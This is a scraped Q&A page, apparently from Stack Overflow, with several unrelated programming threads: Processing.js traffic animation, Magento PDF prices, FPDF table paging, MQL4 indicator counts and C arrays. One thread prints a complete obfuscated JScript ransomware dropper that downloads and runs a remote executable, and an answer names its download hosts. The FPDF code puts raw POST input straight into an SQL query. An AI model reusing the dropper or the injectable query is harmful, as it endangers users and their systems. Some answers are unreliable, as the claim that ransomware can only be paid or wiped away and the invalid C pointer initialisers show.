How to i make rectangle move across the screen processing js - processing.js

I want to make the white rectangles move across the screen like traffic and stop when the light is red. I have started this on the move method, totally new to processing js.
Currently the cars are the correct distance apart but i am unsure how to move thtis loop and move across the screen until the traiff light is red.
let counter = 0;
let lightorder = 0;
//setup the enviroment i.e. roads, lines on roads and trees
void setup() {
size(1330, 720);
background(96, 153, 25);
//Roads
noStroke();
fill(100);
rect(0, 200 + 10, 1330, 300);
rect(520, 0, 300, 1500);
//Lines on road
fill(255);
rect(0, 340, 90, 30);
rect(200, 340, 90, 30);
rect(400, 340, 90, 30);
rect(860, 340, 90, 30);
rect(1060, 340, 90, 30);
rect(1260, 340, 90, 30);
rect(655, 75, 30, 90);
rect(655, 575, 30, 90);
for(int i=0; i < 10; i++){
move(i = i +20)
}
}
//work out light order and assign and fill shapes on traffic lights according
void draw() {
determineLightOrder();
trafficLight();
trafficLight2();
trafficLight3();
trafficLight4();
}
void move(int p){
rect(p, 230, 200, 70);
rect(p, 400, 200, 70);
}
//determine if traffic light is red, yellow or green and fill shape
accordingly
void trafficLight() {
let is_red_light = lightorder == 2;
let is_yellow_light = lightorder == 1;
let is_green_light = lightorder == 0;
stroke(250);
fill(0);
rect(10 + 550, 10 + 80, 40, 100);
if (is_red_light) {
fill(255, 0, 0);
}
else {
fill(100);
}
ellipse(30 + 550, 30 + 80, 20, 20);
if (is_yellow_light) {
fill(250, 250, 0);
ellipse(30 + 550, 60 + 80, 20, 20);
}
// green ligh
if (is_green_light) {
fill(0, 255, 0);
ellipse(30 + 550, 90 + 80, 20, 20);
}
}
void trafficLight2() {
//declare light color variables
let is_red_light = lightorder == 0;
let is_yellow_light = lightorder == 2;
let is_green_light = lightorder == 1;
stroke(250);
fill(0);
rect(10 + 850, 10 + 215, 40, 100);
if (is_red_light) {
fill(255, 0, 0);
}
else {
fill(100);
}
ellipse(30 + 850, 30 + 215, 20, 20);
if (is_yellow_light) {
fill(250, 250, 0);
ellipse(30 + 850, 60 + 215, 20, 20);
}
if (is_green_light) {
fill(0, 255, 0);
ellipse(30 + 850, 90 + 215, 20, 20);
}
}
//same code as the trafficLight2 different position of lights
void trafficLight3() {
stroke(250);
fill(0);
rect(10 + 420, 10 + 380, 40, 100);
let is_red_light = lightorder == 0;
let is_yellow_light = lightorder == 2;
let is_green_light = lightorder == 1;
if (is_red_light) {
fill(255, 0, 0);
}
else {
fill(100);
}
ellipse(30 + 420, 30 + 380, 20, 20);
if (is_yellow_light) {
fill(250, 250, 0);
ellipse(30 + 420, 60 + 380, 20, 20);
}
if (is_green_light) {
fill(0, 255, 0);
ellipse(30 + 420, 90 + 380, 20, 20);
}
}
//same code as trafficLight1 different position of lights
void trafficLight4() {
let is_red_light = lightorder == 2;
let is_yellow_light = lightorder == 1;
let is_green_light = lightorder == 0;
stroke(250);
fill(0);
rect(10 + 730, 10 + 525, 40, 100);
if (is_red_light) {
fill(255, 0, 0);
}
else {
fill(100);
}
ellipse(30 + 730, 30 + 525, 20, 20);
if (is_yellow_light) {
fill(250, 250, 0);
ellipse(30 + 730, 60 + 525, 20, 20);
}
if (is_green_light) {
fill(0, 255, 0);
ellipse(30 + 730, 90 + 525, 20, 20);
}
}
//determine the light order
void determineLightOrder() {
counter++;
if (counter == 200) {
counter = 0;
lightorder = 0;
}
else if (counter == 50) {
lightorder = 1;
}
else if (counter == 70) {
lightorder = 2;
}
}

Stack Overflow isn't really designed for general "how do I do this" type questions. It's for specific "I tried X, expected Y, but got Z instead" type questions. But I'll try to help in a general sense:
I wrote this tutorial on animation in Processing that I highly recommend you read. But basically, you need to store the state of your program (for example, the position of the rectangles) in a variable (or multiple variables). Use those variables to draw your scene, and then change those variables over time to create an animation.
Break your problem down into smaller pieces and take those pieces on one at a time. Can you create a simple program that shows a single moving square? Then get that square to stop given a certain criteria. Then add a second square. Keep working your way forward in small steps like that, and if you get stuck on a specific step, post a MCVE along with a more specific question. Good luck.

Related

Insert article price in shipment.pdf Magento 1.9

I am unable to insert the selling price of an item in the shipment pdf
I add
$page->drawText($item->getPrice(), $x + 5, $this->y, 'UTF-8');
However, I do not have the price including VAT but the price excluding VAT
How to add the ttc price or the total of the line please?
thank for this help.here is the current code :
How to adapt it to add the ttc price at the end?
foreach ($shipment->getItemsCollection() as $item) {
/**
* #var Mage_Sales_Model_Order_Shipment_Item $item
*/
$page->setFillColor(new Zend_Pdf_Color_GrayScale(0.85));
$page->setLineColor(new Zend_Pdf_Color_GrayScale(0.5));
$page->setLineWidth(0.5);
$page->drawRectangle($x + 420, $this->y - 8, $page->getWidth() - 50, $this->y + 12);
$page->setFillColor(new Zend_Pdf_Color_GrayScale(0));
$page->drawRectangle(50, $this->y - 8, $page->getWidth() - 50, $this->y + 12, Zend_Pdf_Page::SHAPE_DRAW_STROKE);
$page->drawLine($x + 70, $this->y + 12, $x + 70, $this->y - 8);
$page->drawLine($x + 350, $this->y + 12, $x + 350, $this->y - 8);
$page->drawLine($x + 420, $this->y + 12, $x + 420, $this->y - 8);
$page->drawText($item->getSku(), $x + 5, $this->y, 'UTF-8');
$page->drawText(strlen($item->getName()) > 50 ? substr($item->getName(), 0, 52) . "..." : $item->getName(), $x + 75, $this->y, 'UTF-8');
$product = Mage::getModel('catalog/product')->load($item->getProductId());
if ($product->getId()) {
$size = $product->getAttributeText('size') ?: $product->getData('size_label');
$page->drawText($size, $x + 355, $this->y, 'UTF-8');
}
$page->drawText('', $x + 425, $this->y, 'UTF-8');
$this->y -= 20;
}`**enter code here**`

fpdf table rows breaks from second page

I'm trying to output a data table extracted from database using FPDF.
My problem is that the first page of output is coming as it is expected, but after the table ends in first page and it goes to second page then rows of table are coming in one row per page.
I tried searching whole internet thing but i couldn't find out the suitable answer with reference to my below code. Below is my fpdf file code.
<?php
require('fpdf.php');
include("pdoconnect.php");
class PDF extends FPDF
{
// Page header
function Header()
{
$this->Image('picture.png',10,6,30);
$this->SetFont('Arial','B',15);
// Move to the right
$this->Cell(80);
// Title
$this->SetTextColor( 255, 119, 0 );
$this->Cell(30,10,'Report',0,0,'C');
// Line break
$this->Line(10, 22, 210-10, 22);
$this->Ln(20);
}
// Page footer
function Footer()
{
$this->Line(10, 280, 210-10, 280);
$this->SetY(-15);
$this->SetFont('Arial','I',8);
// Page number
$this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');
}
}
$result='SELECT * FROM report WHERE time BETWEEN "'.$_POST["fromdate"].'" AND "'.$_POST["todate"].'"';
$link=$db->prepare($result);
$link->execute();
$resultset=$link->fetchAll();
$count=$link->rowCount();
$pdf = new PDF();
$pdf->AliasNbPages();
$pdf->SetTitle("Report");
$pdf->AddPage();
$row_height = 10;
$y_axis=30;
$pdf->SetY($y_axis);
$pdf->SetX(25);
$pdf->Cell(30, 10,"", 0, 0, 1);
$y_axis = $y_axis + $row_height;
$pdf->SetDrawColor(128,0,0);
$pdf->SetTextColor(102, 68, 34 );
$pdf->SetFont('Arial', 'B', 10);
$pdf->SetY($y_axis);
$pdf->SetX(11);
$pdf->Cell(34,10,'Order ID',1,0,'C');
$pdf->Cell(35,10,'Name',1,0,'C');
$pdf->Cell(30,10,'TID',1,0,'C');
$pdf->Cell(20,10,'Quantity',1,0,'C');
$pdf->Cell(20,10,'Date',1,0,'C');
$pdf->Cell(20,10,'Time',1,0,'C');
$pdf->Cell(30,10,'Bill Amount',1,0,'C');
$y_axis = $y_axis + $row_height;
$total=0;
foreach($resultset as $row)
{
$len=strlen($row['name']);
if($len>21)
{
$name=substr($row['name'],0,19)."..";
}
else
{
$name = $row['name'];
}
$oid = $row['order_id'];
$tid = $row['t_id'];
$qty = $row['quantity'];
$date = $row['date'];
$time = $row['time'];
$amt = $row['bill_amount'];
$total=$total+$amt;
$pdf->SetDrawColor(128,0,0);
$pdf->SetTextColor(0);
$pdf->SetFont('Arial', '', 9);
$pdf->SetY($y_axis);
$pdf->SetX(11);
$pdf->Cell(34, 10, $oid, 1, 0, 'L');
$pdf->Cell(35, 10, $name, 1, 0, 'L');
$pdf->Cell(30, 10, $tid, 1, 0, 'C');
$pdf->Cell(20, 10, $qty, 1, 0, 'C');
$pdf->Cell(20, 10, $date, 1, 0, 'C');
$pdf->Cell(20, 10, $time, 1, 0, 'C');
$pdf->Cell(30, 10, $amt, 1, 0, 'R');
$y_axis = $y_axis + $row_height;
$pdf->SetY(10);
$pdf->SetX(170);
}
$totalre=$total-$r_amt;
$pdf->SetDrawColor(128,0,0);
$pdf->SetTextColor(0);
$pdf->SetFont('Arial', 'B', 11);
$pdf->SetY($y_axis);
$pdf->SetX(137);
$pdf->Cell(42, 10,'Total', 0, 0, 'C');
$pdf->SetTextColor(255,0,0);
$pdf->Cell(25, 10, $totalre , 0, 0, 'C');
$y_axis = $y_axis + $row_height;
$pdf->SetAutoPageBreak(false,20);
$pdf->Output();
?>
I want the second page displayed as first page without splitting the table rows. Please help.
This is due to the yAxis being greater than the height of the page, you will need to manually add pages and reset the yAxis using something similar to:
if ($y_axis + $row_height >= $pdf->GetPageHeight() - 20)
{
$pdf->AddPage();
$y_axis = 30;
}
after incrementing the yAxis (the -20 is to allow space for the footer)
The code should be included as below:
$y_axis = $y_axis + $row_height;
if ($y_axis + $row_height >= $pdf->GetPageHeight() - 20)
{
$pdf->AddPage();
$y_axis = 30;
}
$pdf->SetY(10);
$pdf->SetX(170);
inside your foreach loop

new type of malware a.k.a ransomware

I'm not sure if it is allowed to ask this question here.
I just have a friend with PC which is infected with some sort of "RANSOMWARE" - a type of malware where will encrypt your file/s and ask for payment for decryption.
I managed to take out the root processes of the virus(which encrypt and change all of document, images and video files to "*.micro" files) but recovering the infected data is a bit difficult and not much resources available online yet.
Here is the .js script file that triggers the malware:
var _base64Idx = [
/*43 -43 = 0*/
/*'+', 1, 2, 3,'/' */
62, -1, -1, -1, 63,
/*'0','1','2','3','4','5','6','7','8','9' */
52, 53, 54, 55, 56, 57, 58, 59, 60, 61,
/*15, 16, 17,'=', 19, 20, 21 */
-1, -1, -1, 64, -1, -1, -1,
/*65 - 43 = 22*/
/*'A','B','C','D','E','F','G','H','I','J','K','L','M', */
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12,
/*'N','O','P','Q','R','S','T','U','V','W','X','Y','Z' */
13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,
/*91 - 43 = 48 */
/*48, 49, 50, 51, 52, 53 */
-1, -1, -1, -1, -1, -1,
/*97 - 43 = 54*/
/*'a','b','c','d','e','f','g','h','i','j','k','l','m' */
26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38,
/*'n','o','p','q','r','s','t','u','v','w','x','y','z' */
39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51
];
function decode(input, output, offset) {
var out = output;
if(!out) {
out = new Uint8Array(Math.ceil(input.length / 4) * 3);
}
// remove all non-base64 characters
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, '');
offset = offset || 0;
var enc1, enc2, enc3, enc4;
var i = 0, j = offset;
while(i < input.length) {
enc1 = _base64Idx[input.charCodeAt(i++) - 43];
enc2 = _base64Idx[input.charCodeAt(i++) - 43];
enc3 = _base64Idx[input.charCodeAt(i++) - 43];
enc4 = _base64Idx[input.charCodeAt(i++) - 43];
out[j++] = (enc1 << 2) | (enc2 >> 4);
if(enc3 !== 64) {
// decoded at least 2 bytes
out[j++] = ((enc2 & 15) << 4) | (enc3 >> 2);
if(enc4 !== 64) {
// decoded 3 bytes
out[j++] = ((enc3 & 3) << 6) | enc4;
}
}
}
// make sure result is the exact decoded length
return output ?
(j - offset) :
out.subarray(0, j);
}
var tEuosqyTkm = function (packedText) {
var buffer = [];
var length = decode(packedText, buffer);
var charCodeAt = "charCodeAt";
var result = "";
for (var i = 0; i < length; i++) {
result += String.fromCharCode(buffer[i] ^ "bVE6YUkX3beIQAEG"[charCodeAt](i % "bVE6YUkX3beIQAEG".length));
}
return result;
};
var aideN66 = function() {
var vapidAuw = function() {};
vapidAuw.prototype.create = function(disapprobationQvY) {
return WScript.CreateObject(disapprobationQvY);
};
return vapidAuw;
}();
(function() {
var nettlepkm = new aideN66();
var banterKA3 = 200;
var inspireRpB = tEuosqyTkm('"JRMR"');
var pallidK2I = tEuosqyTkm('"Jy4gVQ=="');
var sultryiRC = tEuosqyTkm('"NQUmRDAlH3ZgCgAlPQ=="');
var constrainedfQW = tEuosqyTkm('"LwUdexVnRQB+Li0dBRE="');
var interpolatevY1 = tEuosqyTkm('"BDx8AAg0ABdDMA=="');
var denouementpK3 = tEuosqyTkm('"KgcBcCwRER56Jw=="');
var gratisE9J = tEuosqyTkm('"CG4EQWAYCg90Lg=="');
var rangeuR2 = tEuosqyTkm('"Jz0LeGwnBWwFIw=="');
var broochIQm = tEuosqyTkm('"MzoheDZsKhddBQ=="');
var smatteringBY6 = tEuosqyTkm('"NhQQXwwiOABAVA=="');
var interminablecBc = tEuosqyTkm('"MzwOBioiPyJwLQ=="');
var sonorousmpK = tEuosqyTkm('"IxIKchs="');
var evidentzgN = tEuosqyTkm('"MSI3Uzg4"');
var convalesceWKQ = tEuosqyTkm('"RwIAewlwNw=="');
var justifyaTv = tEuosqyTkm('"TDM9Uw=="');
var cedeWsU = Math.pow(2, 10) * 249;
var foilgEV = [ tEuosqyTkm('"CiIxRmN6RDBWDgkmKC4wKQU7JFgoJEU7XA9Ke2dvID8H"'), tEuosqyTkm('"CiIxRmN6RDBWDgkmKC4wKQU7JFg/M0U7XA9Ke2dvID8H"') ];
var suavityzSi = 2097152;
var flagHQx = nettlepkm.create(sultryiRC);
var endemicfVU = nettlepkm.create(constrainedfQW);
var evidentv5F = nettlepkm.create(sonorousmpK + tEuosqyTkm('"TA=="') + evidentzgN);
var humbleM87 = flagHQx.ExpandEnvironmentStrings(convalesceWKQ);
var weltPvA = humbleM87 + suavityzSi + justifyaTv;
var roseatef1b = false;
for (var masticatehJi = 0; masticatehJi < foilgEV.length; masticatehJi++) {
try {
var invocationIOk = foilgEV[masticatehJi];
endemicfVU.open(inspireRpB, invocationIOk, false);
endemicfVU.send();
if (endemicfVU.status == banterKA3) {
try {
evidentv5F.open();
evidentv5F.type = 1;
evidentv5F.write(endemicfVU[tEuosqyTkm('"EDM2RjY7GD1xDQEw"')]);
if (evidentv5F.size > cedeWsU) {
masticatehJi = foilgEV.length;
evidentv5F.position = 0;
evidentv5F.saveToFile(weltPvA, 2);
roseatef1b = true;
}
} finally {
evidentv5F.close();
}
}
} catch (ignored) {}
}
if (roseatef1b) {
flagHQx[pallidK2I](humbleM87 + Math.pow(2, 21));
}
})();
Anybody here can help me out on reverse engineering this script to decrypt/recover the encrypted files?
Thank you :)
P.S. FYI, this "ransomware" script circulating through emails as attachment since 9th of Feb 2016.
It just downloads runs an actual executable script.
It tries to get it from http[colon]//helloyoungmanqq.com/26.exe first, then http[colon]//helloyoungmanff.com/26.exe if that fails. I assume it's the same file, just a backup download site.
All that encoding stuff is just to obfuscate the strings it uses to run the ActiveX stuff that does this (since otherwise it would quite quickly be easily recognized by software and humans alike as malicious).
This script is not your answer...it just leads to the next stuff to look into.
I would highly recommend being very careful with those files should you download them.
It's very dangerous to play with Ransomware source codes. You will surely end up losing your data if at all you try to recover from Ransomware. The only way to remove ransomware is either you pay the ransom amount or you just format the system completely without leaving any file in the system.
There are few tools available to remove ransomware but I am not sure about which version of Ransomware you are talking about in this post. There are many Ransomware families that exist and every Ransomware has its own source codes and files!

MQL4 Total Result from Multi-timeFrame Indicator

Good Evening all,
can anyone show me how to get total result from an MTF indicator, example if MACD :
M1 = Buy, M5 = Sell, M15= Sell, M30= Buy, H1 = Buy, H4 = Buy, D1 = Buy,
Total Result = 5 Buy & 2 Sell
How do I implement this into a MQL4 code? Thank you for all your answers.
Sample code to consider:
start() {
//--------------------------------------------
// Get the MACD values for all time-frames
//--------------------------------------------
double vaiMACD[7];
vaiMACD[0] = iMACD( Symbol(), PERIOD_M1, 12, 26, 9, PRICE_CLOSE, MODE_SIGNAL, 0);
vaiMACD[1] = iMACD( Symbol(), PERIOD_M5, 12, 26, 9, PRICE_CLOSE, MODE_SIGNAL, 0);
vaiMACD[2] = iMACD( Symbol(), PERIOD_M15, 12, 26, 9, PRICE_CLOSE, MODE_SIGNAL, 0);
vaiMACD[3] = iMACD( Symbol(), PERIOD_M30, 12, 26, 9, PRICE_CLOSE, MODE_SIGNAL, 0);
vaiMACD[4] = iMACD( Symbol(), PERIOD_H1, 12, 26, 9, PRICE_CLOSE, MODE_SIGNAL, 0);
vaiMACD[5] = iMACD( Symbol(), PERIOD_H4, 12, 26, 9, PRICE_CLOSE, MODE_SIGNAL, 0);
vaiMACD[6] = iMACD( Symbol(), PERIOD_D1, 12, 26, 9, PRICE_CLOSE, MODE_SIGNAL, 0);
//--------------------------------------------
//--------------------------------------------
// CALC: Total Buys/Sells
//--------------------------------------------
int viMACDSignalBuyCount = 0;
int viMACDSignalSellCount = 0;
for( int viElement=0; viElement<ArrayRange(vaiMACD, 0); viElement++) {
//-----------------------------------------------------------
// Here, you need to define your own rules on what is considered as Buy/Sell signal.
// My example here is a simple: >0 is Buy. <0 is Sell.
//-----------------------------------------------------------
if( vaiMACD[viElement]>0 ) viMACDSignalBuyCount += 1;
if( vaiMACD[viElement]<0 ) viMACDSignalSellCount += 1;
}
//--------------------------------------------
//--------------------------------------------
// Display Outcome
//--------------------------------------------
Comment( "Total MACD Signals:"
+ " " + viMACDSignalBuyCount + " (Buy)"
+ ", " + viMACDSignalSellCount + " (Sell)"
);
}

About defining arrays later

float bases[7];
if (level < 2) {
bases = {80, 70, 50, 20, 10, 2 , 1};
}else{
bases = {100, 100, 80, 50, 25, 6, 3};
}
This is not valid. But then, what is the right way to do it?
You could try just copying the data over, either element by element, or with:
float bases[7];
static float *bases1 = {80,70,50,20,10,2,1};
static float *bases2 = {100,100,80,50,25,6,3};
if (level < 2)
memcpy (bases, bases1, sizeof(bases));
else
memcpy (bases, bases2, sizeof(bases));